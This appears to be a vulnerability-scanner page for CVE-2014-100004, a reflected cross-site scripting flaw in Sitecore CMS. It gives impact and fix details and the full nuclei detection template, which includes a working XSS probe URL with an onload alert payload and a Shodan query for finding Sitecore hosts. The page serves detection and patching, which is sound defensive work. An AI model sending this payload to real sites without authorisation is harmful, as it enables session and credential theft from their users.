Sitecore CMS - Cross-Site Scripting

mediumseverity

6.1CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

Sitecore CMS contains a cross-site scripting vulnerability via the "special way" of displaying XML Controls directly, which allows for a Cross Site Scripting Attack.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.

Fix

Update to a patched version of Sitecore CMS or apply vendor security updates.

How to confirm it

Send: GET {{BaseURL}}/?xmlcontrol=body%20onload=alert(document.domain)
Positive when: contains "<body onload=alert(document.domain) />" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-100004 -u <target>

The full check

id: CVE-2014-100004

info:
  name: Sitecore CMS - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    Sitecore CMS contains a cross-site scripting vulnerability via the "special way" of displaying XML Controls directly, which allows for a Cross Site Scripting Attack.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Update to a patched version of Sitecore CMS or apply vendor security updates.
  reference:
    - https://vulners.com/securityvulns/SECURITYVULNS:DOC:30273
    - https://web.archive.org/web/20151016072340/http://www.securityfocus.com/archive/1/530901/100/0/threaded
    - https://nvd.nist.gov/vuln/detail/CVE-2014-100004
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-100004
    epss-score: 0.02016
    epss-percentile: 0.81075
    cwe-id: CWE-79
    cpe: cpe:2.3:a:sitecore:sitecore.net:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: sitecore
    product: sitecore.net
    shodan-query: html:"Sitecore"
  tags: cve,cve2014,xss,sitecore,cms,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?xmlcontrol=body%20onload=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<body onload=alert(document.domain) />"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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